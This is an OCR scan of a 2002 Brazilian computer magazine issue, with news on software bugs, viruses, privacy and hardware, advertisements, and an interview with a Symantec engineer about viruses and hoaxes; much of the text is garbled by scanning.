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L' Exploits, cracks, bugs e falhas de implementacéio néo param

P de aparecer. Descubra aqui como se proteger dessas ameacas
- 1. Saiba tirar proveito dos mecanismos de seguranga do Linux

| 2 0 que pode ser feito para amenizar os problemas do Windows

- | 3 Entenda porque o Linux é menos sujeito a ataques de crackers

o 4 Veja porque o Windows virou uma bomba permanente

: 5 Revelamos até onde os mitos da seguranga sdo verdadeiros

| LUA- A superlinguagem "\

Ela é usada por LucasArts, Incor e Petrobras.
Saiba tudo sobre essa tecnologia 100% brasileira

| A unidio faz a forca?
. L. y iif:‘:;f:ﬁl“-f;g # | Conectiva, SuSe, Caldera e TurbolLinux juntaram-se
"""'h-,.‘ q.‘,pm PNl i | para criar um Unico padrao Linux. Entenda porque
isso pode ser 6timo - ou péssimo - para vocé

Hat > N / | Convertides em Linux

[ T3 Y & | O exemplo de trés empresas, de porte diferentes,

buigao Linux @ | que adotaram o Linux e se deram muito bem
Novos Offices

OpenOffice, Koffice, StarOffice, EasyOffice...
As novas opgoes Linux e Windows para enfrentar
a Microsoft. Descubra aqui qual € a melhor
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CYCLADES-FPC 400 *

Cyclades-PC400 e a Placa RAS Digital que transforma um servidor
comum em um servidor de Acesso Remoto Digital. O integrador
de Sistemas e os ISP’s podem usar a PC400 para construir solugbes
de acesso remoto flexiveis com excelente relagao custo/beneficio
beneficiando-se de hardware padrao PC e software livre Linux.
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Cyclades-PC300 \ Cyclades-Y
Placa Serial Sincrona, utiliza Placa Multisserial inteligente com até 32 portas
os recursos de roteamento do ambiente serials RS-232, suporte a sistemas operacionais
operacional Linux, com 1 ou mais canais Linux, Windows, FreeBSD.,

para acesso a Internet e conexdes matriz-filial

gt www.cyclades.com.br
@%% i %%% venduscg@tytiudes.mm.hr

Por 7 anos consecutivos vencedora do prémio Tel.:5033-3333 Fax:5033-3344 CYCLRDES

FAVORITE COMMUNICATION BOARD FOR LINU Sdo Paulo




? Hospedagem

Registro de Dominio

E-mail
E-commerce

Solugaes...

y empresa nao
existe na Internet?

Venha para a Digiweb Brasil!

Planos de hospedagem a partir de R$ 29,90 *

iz lIelEbelliEdildac RS 30,00 - Servigo de Registro de Dominio : R$ 50,00. Taxas FAPESP/ntemic nao i_hc!usas.' :

Nesses dias de globalizacao, quem nao tem um web site ;
na Internet nao existe. -

Abra as portas de sua empresa para o mundo, tenha um web site na Internet. ;T
N3o fique para tras, na Digiweb Brasil vocé encontra toda a eficiéncia, rapidez el
e seguranga que vocé precisa para fazer seu projeto de Internet virar um sucesso. @
Tudo que vocé imaginar, web site, portai megaportal, comercio eletrdnico, Econdmico
ndo importa o que vocé quer fazer, nés temos a solucdo do tamanho de 0
sua necessidade. Seguro

Na hora de decidir, escolha quem faz mais por vocé.

H
soonnee

BRASIL

o
e
e
e
®
°
eo
an
°
e

PR TRIRTEHTE du piallo LIUX. = Fagaimento inmesiral - Uescontos zlggeclos il itelsfel=] filei (g=1k]

Ninguém esta mais preparado para cuidar de seu web site.

" 5084-2575
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Ao Leitor

o tolos acreditam na teoria conspiratoria. Aquela que
diz que Bill Gates é representante de forcas
extraterrenas malignas e que o Windows ¢ sua
ferramenta de dominagao. Aquela mesma que
garante que o Linux foi fornecido pelas forgas intergalacticas
do bem para tentar conter o inexoravel avango do Windows
junto acs ingénuos terraqueos. Infelizmente a histéria real
ndo é tao interessante assim. Nem por isso menos explosiva.

Sao ambas, Windows e Linux, frutos "apenas" da
inteligéncia humana. Portante, bastante imperfeitas. E tém
tantos erros, tantos "buracos" que sistemas operacionais
parecem, sim, escritos por ingénuos para serem usados por
outros ingénuos. Qu seja, qualguer um que tiver um pouca de
malicia e algum conhecimento de informatica entra num
sistema e faz o que quiser.

Isso é tao grave que, ao pensar nos exploits, bugs, falhas
de implementacao e o que crackres (ou hackers, como
preferem alguns) podem fazer, s6 podemos mesmo imaginar
situagoes catastroficas. Se o Windows é um sistema fechado
que & vendido por um bom dinheiro e, portanto, tem uma
imagem a zelar, s6 pode mesmo rechagar com violéncia
gualquer tentativa de mostrar suas insegurangas. Os motivos
do Linux sao bem diferentes, muito mais movidos a "religiao"
do que a dinheirc. Mas em ambos os cascs nao ha muito
interesse em divulgar os proprios erros e falhas. E isso nada
tem de "conspiratorio'. E uma simples constatagao.

Por isso a sua PC Master tem o maior argulho em expor
este problema para a sua reflexdo. Acredita, assim como
rezam institutos sérios de seguranca como a NSA, CERT e
IETF, que as informagdes devam ser divulgadas e disponiveis
para gue os usuarios possam conhecer e resolver os
problemas. E o autor da reportagem, o brilhante Fernando
Lozano, conseguiu resumir esta importante questao que, para
chegar a tal densidade de informacéao vocé, prezado usuario
avangado, teria de investir muito tempo pesquisando em
varios livros.

E esta é apenas uma das reportagens desta PC Master.
No CD-ROM vocé recebe o novissimo RedHat 7.3, em dois
CDs, e tudo que precisa para sair usando imediatamente.
Pensando bem, uma edigdo como esta bem poderia se
prestar a uma teoria conspiratéria. Sei la, algo como passar
mensagens cifradas a um grupo seleto de seres especiais
que, mesmo feita as claras, distribuida em bancas de
revistas, os humanos comuns olhariam sem nada entender...

Roberto Araljo - Diretor Editorial
araujo@europanet.com.br




A Sonopress dd um completo suporte a seus clientes, oferecendo um leque de servicos cada vez mais
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Fique por dentro das u!ﬂmas nohcms _
hiSfOﬂﬂ' das monfudums que demmmm funciondri
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E-mail porno demite

Ford e GM demitem funciondrios brasileiros devido & troca de mensagens pornogréficas

cdo mundo sabe que enviar
T e mails com contaddo

pornografico de dentro da
empresa unde lrabalha ndo € nada
élicn, Sabe-se lambem gue isso
pode, tearicamente, resultar em
demiss&n por justa causa.
Recenternente, g teoria passou
pratica em duas dae malores
montadoras do Pals. Ford e General
Molors (GM) demitiram funcionarios
por enviarn, via carreio eletranicn,
imagens consideradas lascivas,

C primeire caso veio a publico por
parte da GM, que soltou um
comunicado oficizl sobre uma palémica
com relagac ao envio de Um e-mail com
imagens pornagraficas por seus
funcionanos. A mensagem. que foi
denunciada por uma horrorizada
funcionaria americana da montadura,
acarretou a demissao de 11 pessoas e
a adverléncia por escrito de outras 81,
sequndo a compannia.

Ainda de acordo com a
montadora. as
demissdes — redlizadas

sern justa causa - foram definidas
pelo "uso indevido da Internel & do
corrsio eletronico”.

Ainda em comunicada aficial, a GM
atirmou que todos os funcionarios
astavam cientes da politica mundial da
companhia, que condena o useo “llegal,
anti-atics, ndc-autorizadgo ou
prejugicial” dos equipamentos e
sislemes de informagao. Isso inclul nao
a0 acessa, ransmissAo 8
armazenamento de pornografia, mas
também de conteldos considerados
pela montadora improprivs, ou
vlensivos e depreciativos em relacao a

idede, rags, sexu, religiao, nacionalidade,
deficiéneia fisica ou arientacaa sexual.

"Esta conduta nao & tolereda e o
empregado que violar a politica estard
sujeitc a agoes disciplinares, incluinde a
demisado”. afirmou veementementa a
montadora ng comunicado.

Mesmo caso, outra montadora

Semanas depois do caso GM, sua
concorrente Ford Motors tambem
dispensou dois funcionarios pelo
mesmo molive, dessa vez oor justa
causa. A histdria @ bem parecida cam
a da General Mators, com a diferenga
de gue havia um numaro menar de
pessoas anvolvidas.

Um funcienario recebeu um e-mail
curn um busto nu, repassou a mensagem,
e esta chegou a unidade do Canadé — de
ande partiu a reclamagao. Depois de 45
dias de negociagbes, a montadora
resoleu demitir dols funciondrios, que
trabalhavam no setor de logistica,

O Sindicalo dos Melalirgicos do
ABC - na regiao metropalitana de Sao
Paulo, ande estao locelizadas as
mortadoras  defende que a punigic &
muito dura, pols os funcionarios néo
recabaram treinamentu e urienlagao
adequada quando passaram a trahalhar
com computadares ne inicio do ano.

-, Segundo o sindicato, os dois demitidos

recorrerdo a justica.



Falha
Bug no Linux

Centro de seguranga descobre falha
no Bind do sistema do pingdim

m novo bug no BIND, servidor de
u DNS do Internet Software

Consortium, pode levar an travamento
o sistema Linux. O alerta for dade pelo
centro de seguranga CERT. A falha
afeta uma eérie de slstemas que
rodam ¢ BIND, Incluindu as
famusas distribuigdes Linux da
MandrakeSoft, Hed Hat e SuSE.

A vulnerabilidade existe na versao
8 do BIND, software que estabelece a
correspondéncla de enderegus Web e
némeros P Se explorado, o bug leva ao
travamento do sistema, mas nao permite a
execugao desse codigo conhecido.

Entre oB sistemaoa que estio vulneravele
so problema, encantram-se o Caldera
Open Unix, Mandrake Linux 8.x, Red
Hat Linux 7.% @ SuSE Linux.

Browser

Finalmente, o0 novo Mozzila

Depois de muita espera, esta disponivel aos internautas
para download um dos principais navegadores Web

epais de quatro anos de
D desenvalvimento, a verado 1.0 do

navegador Mozilla
(www.mozllia.org) fol finalmente
liberada, Ja disponivel para download,
poréim, @ versao & apenas de
teste — & a organizagao avisou que
nAn prastard suporte
ao usuario final,

O pacote de nodigo
aberto foi construido com a
volaboracéo de milhares de
programadores e heta testers,
Inclui browser, aplicativo de
e-mail e cliente para chat, e
chega em versfes para
Linux, Windows e Mac.

O componente-chave & o
mecanismo de exibigac de paginas

Gecko, que também estd progente na
mals nova versdo do navegador
Netscaps, a 7.0

Além de trazer estes recursos para
o usiario final, o Mazilla 1.0 & uma
plataforma de desenvolvimento para
aplicagdes baseadas em Internet. Para
tanto, traz diversas
ferramenlas, lodas de
cadigo aberto - entre elas
diversas hiblintecas de rede, de
seguranga e de ecriptografia e
recuraos para desenvolvimento
em XML e Javascript.

A Mozllla.org promete

langar, em breve, versbes do

nacote em diversos idiomas - varios
deles do leste europeu, ¢ nenhuma
Mencac ao portugues,

Frases

"Com 1 lﬂ m:fhﬁes de
usudrios do Hotmail,

a MSN precisa levantar
receim pam mﬂnter
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"Pego & ct
hacker que me awda a
em‘mr no msfem:f :

"Mais uma vez, vimos
um aumento da
pirataria no mundo."

Robert Holleyman pmumud-
qutwmhhi a de softwares
-rntudocmu

"Macs sdo 36% mais
baratos do que PCs"
mmmmw
Gmmqu
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Noticias

Noviyade
Ate no Xbox

MIT encontra bug até no
console da Microsoft

m estudante graduadc no

Instituto de Tecnologia de

Massachusetts (MIT, na sigla
em inglés) descobriu um jeito de
enganar o sistema de seguranga da
videogame Xbox, da Microsoft,
abrindo caminho para hackers, de
acordo com documentos divulgados
na site wwwwe mil.edu.

O especialista em computacan do
MIT, que colocou seu relatorio no site
da universidade, tambhém questonou
g seguranga por trag do
recem-langado servigo de jogos unline
da Micrasaft, o Xbox | ive, direnda
gue 03 hackers poderiam explorar
ums brecha do sistema para
identificar diversos usuarios.

Andrew Huang, que recentemente

Era s6 0 que faltava: estudante do
MIT descobre falha no Xbox Live

L -

concluil uma tese de doutorado em
arguitetura de supercomputadores,
Bseraveu um memaorando
detalhando seus eslorgos para
desenvalver um hardware que
pudesse rodar no sistema interno de
scguranga do Xbox,

Huzng disse gus natificou 2
Microsoll que rig publicar seu
relatarin, tarnecends & empresa uma
copla do estudo e tambem afirmou
gue tem mantide contato fregiiente
com a glagante.

CURTAS

Virus

Movidade na rede: o virus W32/Farrun &
o primeino invasor capas de corlaninar
arquivos de imagem JPG, Se exccutado,
ele instala o programa Fxtik exe e a7
uma modificacdo na Registro, associando
a5 arguivas JPG a esse programa. A
partlr dal, quande um arguive JPG &
aberto, o Extrk exe veritica as ele esta
infectado. Cago positivo, ale se combina
com a virus, infectando outros JPG.

AudioGalaxy

Ata que demorou para o Audiogaiay
entrar na lista dos sucessores do
NEPS[GF a garam processatas FJE."|€1
toda-poderosa HIAA. associacan que
reuna as principais gravadoras musicais
americanas. Mas néo falhou.

O provesso fui aberlo ne corte faderal

de Nova York, Uma das ironias € que o
Audiogalaxy, & seu software P2P clignte
AG Satellite, € conhecido justamente por
suas tenlativas — indcuas, & werdaoe — de
reduzir a pirataria na grande rede.

Passport

A Comisgao Européia estd investigando so
o sistema de coleta de dados pesseais do
servigo da Micresaft infringe leis de
privacidade, juntamentes com analises de
competitividade faltag sobre a gigante de
softweare, U orgao executive da Unida
Européia anunciou que avalla o Passport
em resposts a urm guestionamento de
Erik Maijer, representante holandés rio
Farlemento Europeu.

Google

Quer saber o gue o pessoal do Google
enda aprontanda? Acesse o site
http:/labs.google.com.br. No
enderegd sao encontrados o3 detelhes
dos praxirmos projatos do pessoal que
desenvolve o melher buscadar do
mundo. Entre os destaques, hd o
servico de voz, voltado a celulares,
[rEra comPesmenidar uma |J1.I5LZA:| g
taclae de atalho para utilizagdo do
Gongle sem ter qua, necessanamanta,
recerrer a0 mouees.




Bin Laden

FBI e a falha humana

Sistema de espionagem da policio americana deixa
escapar mensagens da organizagdo terrorista Al Qaeda

ma falha, humana ou de sislema,
“ no programa de espionagem de

e-mails da FBI teria deixadao
passar batido mensagens da Al Qaeda.
a organizagao terrorista de Bin Laden.
As mensagens ndo terlam sido
identificadas devido ao excesso de
docurnentos capturados pela programa
espido, conhecidn coma Garnivore.

Informages
valiosas
faram
perdidas
pelo
Carnivore:
erro humano
ou de soft?

Segundo noticias veiculadas no
site CMet (www.cnat.com), o
Carnivore captura nac somente ¢
mails de pessoas que sac alvo de
investigacdes. Ele tambam leva para &
agéncia uina enorme guantidade de
mensagens de cutras pessoas.

Fresume-se que matenal da Al
Caeda teria sido capturado, mas, com
o excesso de material, os funcionarios
decidiram deslruir ludo. Assim, foram
tambem destruidas mensagens fque
poderiam detectar os planos para o
atague do 11 de setembro passado.
Uma fonte do FBI revelou que os
dados ndo se perderam porgue us
a-mails furam recuperados,

MNa verdade, o FBI ndo informa
muito sobre o caso. As noticias que
estan circulanda foram obtidas pela
imprensa em documentos tornados
piblicos gracas a uma salicitacao do
Electronic Privacy Information Center
(EPIC), um grupo de atdvogados
de Washington gue atua na
defesa de dircitos civis.

O gue falta esclarecer, @ por
gue o Camivore caplurou dados
em excesso. Para o CPIC, o
programa tem bugs e representa
uma ameaga a privacidade de
cidadaos aue ndo devemn nada &
justica, nem estio sendo alvos
de investigacoes. O FBI
contesta, dizendo que o
programa é capaz de
interceptar "cirurgicamente”
informagoos de pessoas sob
investigagao legal.

Para o FBI, nac ha bugs no
Carnivore. Simplesmente, um
erro de configuragao o levou a
coletar dados em excesso. O
erro, diz a agéneia, fol do
provedor de Internet, que
informou & ayéncia configuragoes
antigas dos computadores que
estavam sob investigagao.

Cansado de andar por ai, procurando
um provedor de Hospedagem
conflavel com recursos gue nenhum

outro

2 £
b7 2l Sesvidores Instalados
Emnls no Brasil, dentra do
Data Center da
Embratel.

Exclusivo Plano Conjugado
Linux e Windows 2000

Ligue (11) 3284 9191




Noticias

Do forno

QuickTime em versao beta

Apple coloca seu novo software
multimidia nas prateleiras virtuais

Apple Computer langou uma
A versao de teste do

aplicative de midia QuickTime
G, A empresa, que espera fazer de
seu formato um nove padraa de
videos na Internet. disse que o
formato MPEG-4 oferece mals
flexibilidade do yue v MPEG-2,
usado nos DWVDs.

Se n padran for adotado em larga
escala, como quer a Apple, a
empresa concorrerd num nicho
disputado por grandes corparagées,
& que os produlores de conleddo
l"‘.'t"]mt'—"':f:.ﬁrlﬂiﬂ A roauFr vidlens
|ustamente nesse formato,

Steve Jobs,
o todo
poderoso
da Apple,
aposta

no novo
QuickTime

O QuickTime ja funciona lanle nu
Macintosh quanto no PO equipados
com o Windows da Microsoft, mas o
formato do conteudo a ser
transm tido pelo aplicativo ¢ uma
guesiio a parte.

Apple, Microsclt e RealNetworks,
as principais empresas de players de
midia. deaenvolvemn scftwares que
suportam dversos formatos, mas
todos eles podem ser substituidos
pelo padrac MPEG-4, se o planc da
Apple der cerlo,

Algm da QuickTime £, a empresa
tambem esta dispondo o pacote
multimidia QuickTime Broadoaster
para @ criagdo de videos no ja citado
formato MPEG-4.

Qutra novidade, lancada
recentemante, & o elac, versan
atualizads dc iMec. © novo modelo
foi desenvolvido para o ambiente
educacional e tem tela ce 17
palegadas & processador G4, ’

EM ALTA

BLUETOOTH

Apzsar de nade — nads

COMUMoanT v

contern mi

incluaive o SIM Card GSM,

EM BAIXA

SEGURANGA
Cearea de 265 mi

Francisan (no s

Cardona, & 1%
Seqgura Social e até infarmag
sobire 05 holerites desses fur
public A

A NOMes,

8 proeza utilizou urm e-ma

A SUA LIBERDADE DEPENDE LIliF]] Vocé

DA SUA ESCGOLHA !

A melhor metodologia de cursos

em Linux do mercado.

Todos 0s nossos treinamentos possui
ENFASE em SEGURANGA.

» Instalando, Configurando e Administrando o Linux;
= Vulnerabilities Exploitation;

* Defense.

WowW oW

Eim i e o miEbin

b1 WX gieniiie bl i

www. dlinux . com . Br

con L& L gE sl st mabhint




Um dos melhores filmes ‘
de acao de Hollywood,
agora nas bancas.

NICOLAaS

CAGE CUSACK MALKGwC:

- CON AIR
A Rotu da Fuga.

Um DVD eletrizante que
vocé néo pode perder.
Va voando até a banca .-
€ garanta o seu
antes que acabe!

A ROTA DA FUGA

erigosos na Terra.

S NS MAiSs P
ram os homens ma
e Agora eles tem asas.
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Coisa Nossa

PDA tupiniquim no mercado

ltautec coloca nas prateleiras primeiro PDA fabricado no Brasil: o PocketWay

mearcade de handhelds
o chega ao Brasil. Nao, ndo

estamos falando do comercio,
uma ver que esses aparelhos podem
ser adguindes em qualguer esquina,
mas da produgio de PDAs. E quem da
o chute inicial nessa produgéo & a
ltaulec, com o PocketWay, que
chega nos préximos dias ao
mercado. A aplicagac.
desenvolvida pola propria
ltautec é baseado na plataforma
PocketPC, tern 84 MB de memdria,
32 MB de ROM e tela LCD de
F4K cores de 3.5 polegadas. Pesa
143 gramas e suas dimensbes sao
12 x 7,68 x 1,38 centimatros.

Ele verm com um slol 3D (Secure

Digital) nativo, para expansao de

memdria, e aceita um adaptadar
(opcional) para cartoea Compact Flash,
em caso de expansao de memoria cu
para madem, Internet sem flo e
apllcativos extra,

A baleria de litio-ion, removivel e
recarregavel, dura, sequndo a
tabricante, até oito horas — mas, se o
usudrio nao puder recarrega-la
imediatamente, ela ¢ capaz de

preservar a intregridade dus dados do

PDA por 72 horas. O aparelho traz
também uma minibateria de backup,
interna, semelhante & usada em
reldgios, que da sobrevida ac aparelho
por até 30 minutos enquante o usudrio
troca de bateria.

MNa area de software, o handheld da
ltautec traz as versces para PocketPC

do Word, do Excel, do Qutlook e do
Internet Explorer. Vem também com
um utllitarlo para backup & um
visualizadour de imagens.

O primeiro PDA brasileira chega ao
mercado pelas méos da ltautec

-
\

-

Ascensao

Mais computadores apesar de tudo

Contrariando a tendéncia mundial, as vendas de PCs sobem no Brasil, segundo IDC

brasilairos v&m mudando sua forma de
ver o PC: o consumidor pessoa fisica

frente dos brasileirns na que diz
respeito a0 consumo de notebooks:

g vendas de PCs no Brasl|
A subiram 5% nos trés primeiros

meses de 2002 com relagdo ao
primeiro trimestre de 2001, revelou o

instituto de pesquisas DG, Foram
vendidos no pais 844 mil computadores

agora vé o computadar de mesa como
urn eletrodoméstico essencial, ¢ ndo
um bem de luxo, o que aumenta sua
fama de indispensaval.

no México, segundo ¢ instituto de
pesqulea, sdo vendidos gquase

o dobro de equipamentos portateis
do que no Brasil

pessoais no periodo,

O crescimento brasileiro @
maior du que o constatado para
Lloda a América Latina, que foi de
1% no primeiro trimestre, um
volume de 1,85 milheo de PCs
vendidos, movimentando cerca de
USS 1,88 bilhac, diz o IDC.

Segundo © instituto de
pesquisas, a crise argentina fez
com que o mercado local
encolhesse quase §0% s0 nos
trés primeiros meses do ano,

De acordo com o IDC, um
dado muilo inleressante & que os

| PC Masrem

Ja os mexicanos esléo anos a

Venda de PCe val
bem no Brasil

O 1DC tem resposta para 18to
também: naquele pais. 05 precos
dos notcbooks edo bastante
proximos dos cobrados pelos
desktops, o gue faz com gue o
equipamento jé esteja presente,
inclusive, em escolas piblicas.
© instituto diz que o prego
médio dos notebocks esta
caindo na Brasil - de USS 3.539
no comego de 1997 para
1SS 2.392 no comeqgo de
2007 - e aposta que ele se
tornaré o grande objeto de
descjo das clasees mais altas,



Pela Culatra ,
CD anticopia “tabajara”

Espertinhos descobrem modos simples de burlar
protecdo dos CDs contra cépia do mercado

s espertinhos da tecnologia jé CDs, ou versdes em farmato MP3 para
o acabaram com a sofisticada seus computadares, que podem entap

tecnologia de protegdo de ger compartilhadas em redes de trocas
CDs da gigante Sony Music de arquivos de Internet.
com um melod caseiro: rabisvandu Uma descoberte acidental fez a
na borda do disco com uma caneta alegnia dos fas de misica que andam
de retroprojetor. revoltados com os Gls protegidos

Grandes gravadoros, como Sony e contra copla gue Ja cireulam nos

Universal Music, comegaram a mearcados americano e europeu: drives
comercializar CDs & “prova de copla” e gravadores de CDs mais antigos
coma torma de combater a pirataria podem ser mais eficientes do que essas  quando jurnalistas tentaram copiar um
disseminarda de misica online. ranetas de retroprojetor. O site CD em um aparelho novo, sem
Segundo as companhiag, as copias Vnunet.com lwwwvnunet.cam) afirma sucesso. & sequir, testaram no
ilegais estdo prejudicando suas vendas.  que a descoberta  capaz de burlar o5 modelo LTN382 de 32X, da LiteOn,
A nova tecnologla pretendia impedir sigtemas de protego menos dbvios comprade dolg anos antes, ¢ a cdpia
yue us consumidores fagam copias de yue v da Sony - foi feita por acaso fol feita sem problemae,

HDs , CDs , Disquetes , RAID , ZipDrive

Inacessiveis , Defeituosos , Formatados , Bad Block ,
Ataque de Virus , Hackers , Arquivos corrompidos ,
Apagados , Senhas Esquecidas , Clones Fisicos ...

ISR Loooratdio nos EUA (opcional) HEE
Visite nosso site: =

www.doctor-byte com
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Cursos do Meés

PHP e MySQL

06/07 a 03/08 - RS 260,00 - 50 horas
Para entender comn o PHP & o banco
de dados MySOL trabalham
individualmente & em conjunto,

Ay, Pres, Vargas, 642 - 2° andar

Rio de Janaim-RJ - Ralrom (21)2563-0000
woorw rafram.com. br/ calendario.htm

Fundamentos de

ﬂm de Sistemas

13/07 a 27/07 - RS 576,00 - 24 horas
Canceitos nas dreas de contrales
internos & padrdes de classificagao.

Ay, Paulists, 1482 - €} 1001 - 10% andar

Cemjueira Cesar - Séo Paulo - 5P

R. do Mercado, 34 - 9°/12°/13° andar
Centra - Mio ge Janeiro-AJ

IBRINET (11)3253-6264 /6569
(21)2263-0423,/2516 2165

wovive ibpinet. et/ asit

CIPT (Cisco IP Telephony)
15/07 a 19/07 - R$ 3.900,00

das 08h00 as 17h00

Prepara os trainee 3 trabalhar com a
solugao 1P Telephony. da Gisca.

Ay, Jodo Dins, 76 - 2%andar - Sao Paulo - SF
Telecan (11) 55724-2A74/0R00-135058
wwowtelocon.com.br

lalecon@talecon com.br

CVOICE (Cisco Voice
Essentials)

22/07 a 26/07 - R§ 3.350,00

dag 08h00 &s 17h00

Ensina a implementar sistemas de
comunicagdo baseddas em voz sohre IR
voz sobre frame relay o ATM,

Av. Jedo Digs, 78 - 2% andar - Sao Paulu-5P
Telecon (11)5524-2624,/0800 1 3606H
www, telecon. com. br
teleconi@telecon.com.br

Produgido Web

04/07 a 18/07 - RS 690,00

42 horas - 15h as 22h40

Ensing as formas de se trabalhar em
ambiente Web, de modo otimizado e
funcignal. - ;

R. Apaninos, BU1 - Paraiea

Sgo Pavio <8P -

Graph iark (11)288- 1304,
{11)2R8-2847; £11)288-8276

www.graphwork.com.br

graphworki@graphwork.com.br

PC Masrer

CRIPTOGRAFIA
E SEGURANGA

Livros
01 Guia Dicial RSA
Criptografia e Seguranca- O Guia Oficial RSA
Steve Bumnett e Stephen Paine
392 péginas - Editora Campus - Prego: RS 69,90
Escrito por dois funcionérios da RSA Security, & um
livro de referéncia para especialistas, Explica as diferengas entre a criptogratia
de chave simétrica e a de chave pdblica; come o PKl e o X.509 atetam &
seguranga: como o algoritmo da RSA funciona dentro dos protacolos.
Mém dissc, Criptogralia € Seguranca mastra como distinguir
diferentes lipos de encriptagdo de algoritmos de chave simétrica e onde
cada um deles & mais bem utilizado, além de descobrir como funcionam as
senhas baseadas em encriptacdo. A leitura é indicada para guem ja tem
prévio conhecimento sobre seguranga.

istrihuicao de Contendo
rma - 208 péginas - Editora Campus - Prego: R$ 45,00
Escrito para operadores de rede, provedores de Internet,
arguitetcs de rede, pesquisadores e estudantes de Ciéncia
da Computagéo, este livr é uma visao geral abrangente

| REDES para quem deseja entender os fundamentos de uma rede
DE DISTRIBUICAO de distriouigac de conteudo.
DE CONTEUDO A obra descreve os componeriles que constituem uma

CDN — rede de distribuicdo de contelida —, delineia as
diferentes tecnoloyias que podem ser usadas dentro desaa

e rede e ilustra como diversas aplicaghes baseadas na Internet
B DINESH C. VERMA podem ser aceleradas com o uso de uma CDN.

pa-q shicdogas de segeriamy pare JEHL

Conhecendo o VBScript
Leandro Cristovéo - 96 paginas - Editora Visual Books
Preco: RS 19,00

Concarrente direto do Jscript e JavaSeript, a
linguagem interpretada VBScript & utilizada principalmente
em péginas Web, com o propésito de gerar interatividade
entre vs dados exibidos e o internauta, Sua aplicagao é feita
em parceria com a linguagem ASE A idéia de escrever este
livra surgiu do fato da inguagem VBScript ser mais usada
com ASP (Active Server Pages) e também por ser simples. E
voltado para quem quer saber um pouce mais sobre VBSeript.

ADO - Guia do Programador
Mike Gunderloy - 480 péginas - Editora Market Books - Prego: R$ 59,00

O ActiveX Data Objects (ADQ) é uma revolugau no
gue diz reapeito a recuperar & mudar dados de varias
origens. E estas origens nao estéo limitadas aos bancos
de dados tradicionais, padem incluir arquivos de sistemas,
contas de e-mails & meamo dados na Internet.

Para as pessoas que ja dominam as tecnicas de
desenvolvimente do Visual Basic, o ADO promete ajudar
a desenvolver e Implementar uma estratégia universal de
acesso a dadus para sua aplicagao de hanco de dados.
0O ADO - Guia do Programador wvem com instrucoes para
técnicas e tecnologias especificas. PEM



o tempo é curto para
fotografar,revelar,enviar os cromos
para scaneamento e tratamento das
imagens,aprovar e dar saida em
filme com a rapidez e qualidade
que vocé precisa ?

saida em filme

plotagem
provas - gra fIC a

fotolito &
editora [tda

- 11-5071-1406 e




Entrevista

Virus,

pra que te quero

Ricardo Costa, engenheiro de sistemas da Symantec, uma das principais empresas
de seguranca da Internet, fala sobre virus e boatos na Web e como proteger-se deles

Por Sérgio Vinicius

cada diz surgem cenlenas de
A virus novos na Internet. Para

mininizar esse problerna, ha
SMpresas que pensam nissc 24 horas
por dia, sete dias por semana. A
Symantec € uma delas, Com
laboratdrice especializados em
pesquisar e, claro, remediar os danos
vausados por essas pragas virtuais, ela
tern milhares de profissicnais,
especialistas em seguranga, que
trabalham incessantemante. Entre eles
estd Ricardo Costa, engenheio de
sislemas da Symantec

A SBymantec possui um grande

centro de pesquiaa de seguranca do
mercado, o Sccurity Response. Eese
centro funciona pesquisando e
recebendo infurmegbes sobre as
tendéncias da alagues, o aumento de
uma ameaga em particular, boatos e
detecgan de pragas. '"Enviamos um
mailing liat automatico ¢ gratuito para
nossos usuarios cadastrades, alertando

sobre o problema e dando um
direcionamento para evitar a infecgio
até o envic das vacinas', afirma.

Ma entrevista o seguir, Costa fala
apbre o atual problema dos virus que
so propagam cada vez mals pela Web,
sobre a suscetipilidade de ambienles
Windows e Linux e, claro, de comae os
hoaxes (boatos) podem prejudicar oa
usuarins, sistemas e empresas, Vea 05
principais treches da conversa,

PC Master: Hoax & virus caminham
muito untos pela Weh. A maiaria dos
hoax, inclusive, fala scbre falzos virus,
Ha como se precaver sc contra eles?
Ricardo Costa: A prevencao para
hoaxes seria @ mesma gue se usa para
span, islo &, [tvar as mensagens &
bloguear contelirde indesejada. Porém,
a tarefa nan & simples, 4 que cada
mensagam hasx tem suas
caracteristicas praprias e muitas vezes
o rematente & alguém conhecido,
Existemn diverses sollwares gue visam
atender a demanda crescente de

blanuein de spam para o
mercado caseiro, No corporativo,
cxistem ferramentas malis
especializadas que pennilem uma
filtragem mais avancada,

PC Master: | como saber que se trata
de um hoax ou de um virus verdadeiro?
Ricardo Costa: £ rclatvamente facll
identificar urn hoax. O primeiro aspecly,
& gue sempre & urme pessea fisca gue
envia o e-mail dizendo qua nenhum
tabricante de antivirus tem ainda a
vacina. Outro aspecto, & que sempre
verm um paragrafo onde o suposto
“wirus estariz acabando com o mundo
inleira. parando Bolsas de Valares
Alguns chegam ano requinte de
afirmacaes absurdas, come dizer gue o
virus fara uma limpeza na sua conta
bancaria ou batera nas criancas, Os
fabricantes de softwares, agéncias de
noticias e demais publicagtes anline
contam hoje com uma enaorme
velnridade de divulgagan de novas
ameagas. Nao deve se confiar em

O elo muais fraco da segurancga
em um sistema de computadores
tem um nome: ser humano

| PC Masren



e-malls mirabolantes vindos de pessoas,
Caso o usuario ainda queira se certiticar,
besta navegar nos sites dos fabricantes
de antivirus @ procurar informacdes, que
sa0 de facil acesso. A Symantec, por
gxemple, possul uma drea do site
dedicada a hoaxes,

PC Master: Em uma pesquisa recente,
foi revelado gue o virua Klez foi a pior
praga eletrénica ja solta na Internet. O
que ele apresentava de tao maligne?
Ricardo Costa: Em suma, us danos
causados pelo Klez faram classiticados
como meédios. O gue o fez ser eleito a
plor praga fol, na verdade. a velocidade
te propagacas & & guantidade de
inteccoes pelo mundo, Como a maioria
dos warms, eles se propagam fazendo
uso, basicamente, da envio numeroso de
o mails, causando problemas de
performance nos gervidores de correio
alatrénicu das empresas e provedores
de acessu. O yue & mais complicado
nos worms de hoje & o fato de qgue
utilizam vulnerahilidades de sistema
operacional e outros aplicativos,
funcionando guase como um "hacker,
lsso @ o gue chamamos de Blended
Threats, ou ameacas combinadas,

PC Master: Nao ha forma de estar
100% seguro contra virus na Internet,
Entao, guals os procedimentos para se
estar o mais seguro pussivel?
Ricardo Costa: [ imprescindivel

o uso de antivirus & firewall nessoal.
Os virus de hoje utilizam o melhor (ou
plor) de ambos os mundos: virus,
ferramentas de ataque e
wlnerabilidades, O uso desses
softwares traz um bom nivel de
protecaa, Parém, de nada adianta a
tecnologia se o usudrio nao

mantlver suas vacinas e regras de
firewall atualizadas. Para elevar a
protegao, ha ainda a necessidade
cultural, isto &, actes simples como
nac instalar softwares suspeitos e
nao abrir ou executar anexos
estranhos, por exemplo.

PC Master: [ verdade que o Windows
